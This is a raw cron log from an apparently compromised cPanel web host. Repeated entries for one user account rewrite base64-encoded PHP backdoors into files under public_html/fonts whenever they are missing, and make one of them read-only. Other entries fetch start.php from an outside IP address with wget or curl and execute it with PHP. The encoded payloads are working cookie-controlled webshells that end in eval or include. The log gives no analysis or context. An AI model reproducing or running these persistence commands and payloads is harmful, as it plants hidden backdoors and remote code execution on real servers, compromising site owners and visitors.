Aug 30 20:21:01 ip-184-168-122-23 CROND[4786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:21:01 ip-184-168-122-23 CROND[4789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:22:01 ip-184-168-122-23 CROND[4870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:22:01 ip-184-168-122-23 CROND[4873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:22:01 ip-184-168-122-23 CROND[4874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:22:01 ip-184-168-122-23 CROND[4877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:22:01 ip-184-168-122-23 CROND[4878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:23:01 ip-184-168-122-23 CROND[4958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:23:01 ip-184-168-122-23 CROND[4961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:23:01 ip-184-168-122-23 CROND[4960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:23:01 ip-184-168-122-23 CROND[4962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:24:01 ip-184-168-122-23 CROND[5120]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:24:01 ip-184-168-122-23 CROND[5121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:24:01 ip-184-168-122-23 CROND[5123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:24:01 ip-184-168-122-23 CROND[5124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:24:01 ip-184-168-122-23 CROND[5127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:25:01 ip-184-168-122-23 CROND[5228]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 20:25:01 ip-184-168-122-23 CROND[5231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:25:01 ip-184-168-122-23 CROND[5232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:25:01 ip-184-168-122-23 CROND[5230]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:25:01 ip-184-168-122-23 CROND[5233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:25:01 ip-184-168-122-23 CROND[5234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:25:01 ip-184-168-122-23 CROND[5236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:26:01 ip-184-168-122-23 CROND[5327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:26:01 ip-184-168-122-23 CROND[5329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:26:01 ip-184-168-122-23 CROND[5330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:26:01 ip-184-168-122-23 CROND[5332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:26:01 ip-184-168-122-23 CROND[5333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:26:01 ip-184-168-122-23 CROND[5334]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Aug 30 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Aug 30 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Aug 30 20:27:01 ip-184-168-122-23 CROND[5493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:27:01 ip-184-168-122-23 CROND[5494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:27:01 ip-184-168-122-23 CROND[5496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:27:01 ip-184-168-122-23 CROND[5495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:28:01 ip-184-168-122-23 CROND[5614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:28:01 ip-184-168-122-23 CROND[5617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:28:01 ip-184-168-122-23 CROND[5616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:28:01 ip-184-168-122-23 CROND[5619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:28:01 ip-184-168-122-23 CROND[5618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:29:01 ip-184-168-122-23 CROND[5710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:29:01 ip-184-168-122-23 CROND[5713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:29:01 ip-184-168-122-23 CROND[5712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:29:01 ip-184-168-122-23 CROND[5714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:30:01 ip-184-168-122-23 CROND[5803]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:30:01 ip-184-168-122-23 CROND[5805]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 20:30:01 ip-184-168-122-23 CROND[5809]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 30 20:30:01 ip-184-168-122-23 CROND[5813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:30:01 ip-184-168-122-23 CROND[5810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:30:01 ip-184-168-122-23 CROND[5812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:30:01 ip-184-168-122-23 CROND[5817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:30:01 ip-184-168-122-23 CROND[5811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:30:01 ip-184-168-122-23 CROND[5816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:31:01 ip-184-168-122-23 CROND[5997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:31:01 ip-184-168-122-23 CROND[5998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:31:01 ip-184-168-122-23 CROND[6000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:31:01 ip-184-168-122-23 CROND[5999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:31:01 ip-184-168-122-23 CROND[6001]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 20:32:01 ip-184-168-122-23 CROND[6079]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:32:01 ip-184-168-122-23 CROND[6081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:32:01 ip-184-168-122-23 CROND[6082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:32:01 ip-184-168-122-23 CROND[6086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:32:01 ip-184-168-122-23 CROND[6085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:33:01 ip-184-168-122-23 CROND[6181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:33:01 ip-184-168-122-23 CROND[6180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:33:01 ip-184-168-122-23 CROND[6184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
